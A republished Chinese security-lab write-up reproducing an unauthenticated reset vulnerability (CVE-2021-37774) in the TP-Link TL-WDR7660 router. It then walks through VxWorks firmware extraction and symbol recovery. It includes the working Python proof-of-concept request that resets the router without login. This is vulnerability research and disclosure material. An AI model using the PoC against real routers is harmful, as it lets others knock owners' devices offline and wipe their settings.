首页 > 传媒 > 关键词  > TL-WDR7660漏洞最新资讯  > 正文

TL-WDR7660 httpProcDataSrv任意代码执行漏洞复现分析

2023-03-31 15:52 · 稿源: 站长之家用户

01  漏洞简述

2023 年 1 月 31 日,CNVD公开了一个由国内安全研究员提交的TL-WDR7660 httpProcDataSrv任意代码执行漏洞,编号为CNVD-2023-05404,同时公开了漏洞利用详情,poc代码链接为https://github.com/fishykz/TP-POC。从poc代码详情中可以发现,该漏洞于 2021 年 7 月由该安全研究员提交给CVE和TP-Link官方,并于 2021 年 8 月获得了CVE编号,编号为CVE- 2021-37774,CVE详情为https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37774

0 2 影响版本

TL-WDR7660 路由器2.0. 30 固件版本

03 漏洞复现

笔者手上正好有一台闲置的TL-WDR7660 千兆版路由器,从路由器背面信息可以看出,该路由器在初始状态下,发出的无线wifi信号名称为TP-LINK_41B1

在初始状态下,连接TP-LINK_41B1 wifi信号不需要密码,连接后使用浏览器访问192.168.1. 1 会进入到初始化界面,需要对路由器后台密码、wifi名称及密码等进行配置,配置完成后进入路由器后台,访问路由设置->软件升级,发现该路由器安装的固件版本刚好是存在漏洞的2.0. 30 版本

下面直接尝试复现该漏洞

在poc链接中,漏洞作者公开了漏洞验证python脚本

import sys

import requests

if len(sys.argv) != 2:

    exit()

ip = sys.argv[1]

s = requests.Session()

data = "{\"system\":{\"reset\":null},\"method\":\"do\", \"cfgsync\":{\"get_config_info\":null}}"

response = s.post("https://%s/ds" %ip, data=data)

print("Status code:   %i" % response.status_code)

print("Response body: %s" % response.content)

从作者录制的漏洞验证视频中可以发现,该验证脚本实现了在未认证情况下的直接重置路由器的效果首先退出路由器后台登录状态,访问192.168.1.1,此时会提示需要输入密码才能进入后台

接下来通过运行poc脚本

python wdr7660_CVE-2021-37774.py 192.168.1.1

运行后返回了 200 状态码,同时提示等待30s的延时

此时访问192.168.1. 1 发现已经无法打开路由器后台

通过系统的wifi管理界面发现刚才设置的wifi名称密码已经被重置,重新变成了初始的无认证的wifi信号TP-LINK_41B1

等待30s,连接TP-LINK_41B1 后,访问192.168.1.1,发现该路由器已经被重置

04 固件分析

漏洞复现成功后,接下来我们下载TL-WDR7660 路由器2.0. 30 版本固件进行分析

在tp-link官方服务支持站点中,搜索WDR7660 就能找到该固件下载地址

https://service.tp-link.com.cn/download/20207/TL-WDR7660%E5%8D%83%E5%85%86%E7%89%88%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620190830_2.0.30.zip

固件下载后首先进行压缩包解压,得到bin固件文件后再通过binwalk进行解压分析

binwalk wdr7660gv1-cn-up_2019-08-30_10.37.02.bin --run-as=root

通过查阅资料发现,TP-LINK TL-WDR7660 搭建的固件是基于VxWorks(一种RTOS),通过binwalk解压分析后并不能得到和其他大部分路由器一样类似的完整的文件系统。从binwalk的分析结果来看,该固件主要由一个固件头部(uImage header)和其他LZMA格式的文件数据组成(LZMA是一种压缩算法)。在uImage header中,有一个表示引导加载程序(uBoot)的入口地址字段,即Entry Point,我们可以根据这个入口地址提取出uBoot程序。

一般来说,uBoot程序的长度 = uImage header的长度+其后紧接的一块LZMA数据的长度,从binwalk的分析结果中可以看到,uImage header的起始位置为512,其后紧接的第二块LZMA数据的起始位置为66560,所以可以得到uBoot程序的长度 = uImage header紧接的第二块LZMA数据的起始位置 - uImage header的起始位置 = 66560-512 = 66048,根据这个长度使用dd命令即可提取出uBoot程序

dd wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=uboot.raw bs=1 skip=512 count=66048

提取出uBoot程序后,注意到uImage header紧接的第二块LZMA数据大小为所有LZMA数据中最 大的一块,一般来说这里就是主程序的位置,我们用同样的办法把主程序提取出来。主程序的长度 = 1422400 - 66560 = 1355840

dd if=wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=main.lzma bs=1 skip=66560 count=1355840

得到主程序的lzma压缩包文件之后,尝试通过lzma进行解压

lzma -d main.lzma

解压后得到main文件,尝试使用binwalk进行解压分析

binwalk main

此时若将该main文件导入到ghidra中,同时搜索漏洞关键字“httpProcDataSrv”,发现虽然有两个结果,但是无法找到对应的函数,其他函数反编译出来的代码也基本不可读

猜测应该是VxWorks系统的分析方式问题,通过查阅资料,发现

“使用ida或者ghidra等反汇编工具进行分析时,需要了解VxWorks系统的加载基址,否则无法正确地分析系统。VxWorks系统的加载基址与栈初始化地址相同,根据VxWorks官方给出的说明,其采用usrInit进行栈初始化,而usrInit是VxWorks系统引导后运行的第 一个函数,因此可以直接把VxWorks系统文件丢到ida中,先用 0 作为加载基址,然后找sp寄存器首 次出现的位置,就是VxWorks系统的加载基址。”(参考https://blog.nsfocus.net/tp-link-wdr/)

这里其实有个最简单的办法,使用IDA或者ghidra打开上文中提取得到的main文件,开头地址即为加载基址,如下图,为0x40205000

获得加载基址还需要利用符号表修复函数名才能对基于VxWorks系统的固件进行较好的反编译

TP-LINK WDR7660 固件的符号表和VxWorks系统文件是分离的,所以需要从binwalk解压升级文件后得到的文件中寻找符号文件。Bzero是VxWorks中一个函数,系统启动过程中会使用bzero函数对bss区的数据进行清零,因此可以利用”grep -r bzero”查找bzero函数,bzero函数所在的文件即为符号表文件

这里可以看到,bzero函数在15CBBA文件中,我们可以通过010editor等工具打开文件进行确认

同时,也可以看出符号表的区间为0x00008-0x1a728

接下来通过IDA打开上述得到的main文件,并将ROM start address与Loading address都设置为0x40205000

然后通过一款名为vxhunter的开源反编译插件利用符号表修复函数名,vxhunter支持IDA Pro 7.x/Ghidra 9.x/Radare2 等逆向工具,插件地址https://github.com/PAGalaxyLab/vxhunter

由于Ghidra 9.x版本的vxhunter没有办法在导入主程序文件后再加载符号表文件,所以下面使用IDA来进行操作

使用流程:先使用IDA加载上面提取到的主程序文件main,然后在edit->vxHunter->load VxWorks symbol file导入提取到的符号表文件

等待修复完成后可以看到函数名已经还原,接下来就可以进行正常静态分析了

【 59 号实验室】

美创科技旗下第 59 号实验室,专注于数据安全各技术领域研究及应用,聚焦于最 新安全防御理念、国内外漏洞、攻防技术、威胁情报等专业研究,进行知识产品转化,最终赋能于产品。目前累计为cnvd、ctvd、cnnvd等漏洞接收平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》。

推广

特别声明:以上内容(如有图片或视频亦包括在内)均为站长传媒平台用户上传并发布,本平台仅提供信息存储服务,对本页面内容所引致的错误、不确或遗漏,概不负任何法律责任,相关信息仅供参考。站长之家将尽力确保所提供信息的准确性及可靠性,但不保证有关资料的准确性及可靠性,读者在使用前请进一步核实,并对任何自主决定的行为负责。任何单位或个人认为本页面内容可能涉嫌侵犯其知识产权或存在不实内容时,可及时向站长之家提出书面权利通知或不实情况说明,并提供身份证明、权属证明及详细侵权或不实情况证明(点击查看反馈联系地址)。本网站在收到上述法律文件后,将会依法依规核实信息,沟通删除相关内容或断开相关链接。

  • 相关推荐
  • 轻量级代码分析工具ctoc开源

    ctoc是一个轻量级工具,用于分析代码库的令牌级别信息。它是基于gocloc的,具有极快的性能。这对于与不同模型的互操作性非常重要。

  • 对标GPT-4代码解释器!港中大让模型写代码解决数学难题,得分超越GPT-4

    对标GPT-4代码解释器,港中大最新研究放了个“大招”:他们开发了一个叫做MathCoder的大模型,数学能力直接在竞赛级“题库”Math上超过GPT-4。做到这一点靠的就是无缝集成代码的能力——在遇到数学问题时,它不仅能用自然语言推理能自动编写和执行代码来建模、推导公式与方程。通讯作者为李鸿升,为港中大电子工程系副教授,同时也就职于上海人工智能研究室。

  • 与Mate 60同台发布!MatePad Pro 13.2官宣:或首发星闪

    华为官方今天上午正式宣布了一款十年大作”MatePadPro13.2。这是华为史无前例的一款巨屏平板产品,将于9月25日与Mate60系列一起发布。星闪可适用于消费电子、智能家居、新能源汽车、工业智造等多种场景,为鸿蒙万物互联提供更强大的连接。

  • 无需再抢!华为推出预约申购:Mate60 Pro排队发货

    华为近日推出一项申购模式,用户可自由选择申购Mate60Pro机型。申购成功后,用户需全额付款,并需要耐心等待发货。4.同一产品每个用户限购一台,具体规则请查看商详页。

  • 荣耀Play8T Pro入网工信部 机身重量仅166g

    荣耀终端有限公司申报了一款型号为“LLY-AN00”的新机,并已通过工信部审核。这款机型将可能是荣耀Play8TPro。参考先前的数据,荣耀Play7T标准机型售价为1099元起,Pro机型则售价为1499元起,均提供8GB128GB和8GB256GB两个版本。

  • 鸿蒙4.0.0.116发布!华为Mate 60 Pro更新

    华为最新推出的鸿蒙4操作系统已经向Mate60系列用户推送,不少用户更新后发现,麒麟9000S处理器在新系统下解锁了,CPU核心数识别成了12核。这款处理器由1个2.62GHz核心、3个2.15GHz核心和4个1.53GHz核心组成,集成了全新Maleoon910GPU,中核和大核应该支持超线程。这将是该系列最强的存在,价格至少是万元起步。

  • Chat Video:用GPT分析和总结视频

    ChatVideo是一个基于人工智能的视频分析和管理工具,致力于帮助用户高效学习和管理视频。在这个视频泛滥的时代,ChatVideo凭借其独特的AI技术,为用户节省大量时间,真正释放视频的价值。如果你希望高效管理视频,ChatVideo一定是你的最佳选择。

  • 不用抢了!华为Mate 60 Pro开启预约申购

    华为Mate60系列手机在上市后十分受到热捧,尽管官方每天都开放两轮抢购活动,但大多数用户至今仍然没有成功购买到。这种程度的火爆程度可见一斑,这也导致市场上该系列机型的价格大幅上涨,有些机器甚至出现数千元的加价。目前,Mate60Pro提供三个版本:12GB256GB版本售价6499元、12GB512GB版本售价6999元和12GB1TB版本售价7999元。

  • 调查:ChatGPT主导生成式AI领域,占据60%市场份额

    生成式人工智能应该会改变我们在许多领域的工作,但网络统计数据显示,该领域是由ChatGPT驱动和主导的。A16z使用Sameweb分析了各种GenAI相关网站的流量。如果它们比当前系统能提高五到十个百分点,那么大型语言模型和其他生成AI系统仍将是有用的工具,可以扩展、加速或简化一些文本或图像工作,并有助于创造性思考。

  • DALL·E 3辣眼图流出!OpenAI 22页报告揭秘:ChatGPT自动改写Prompt

    【新智元导读】DALL·E3解禁后被网友瞬间玩疯,不过,若想让它生成果照、伪造证书、造颗核弹,就不用想了。自DALL·E3能力在ChatGPT解禁后,网友开启了各种玩法。未来OpenAI还将在检测DALL·E3图像水印、研发标记逼真图像以供审查的监控方法进行探索。

热文

  • 3 天
  • 7天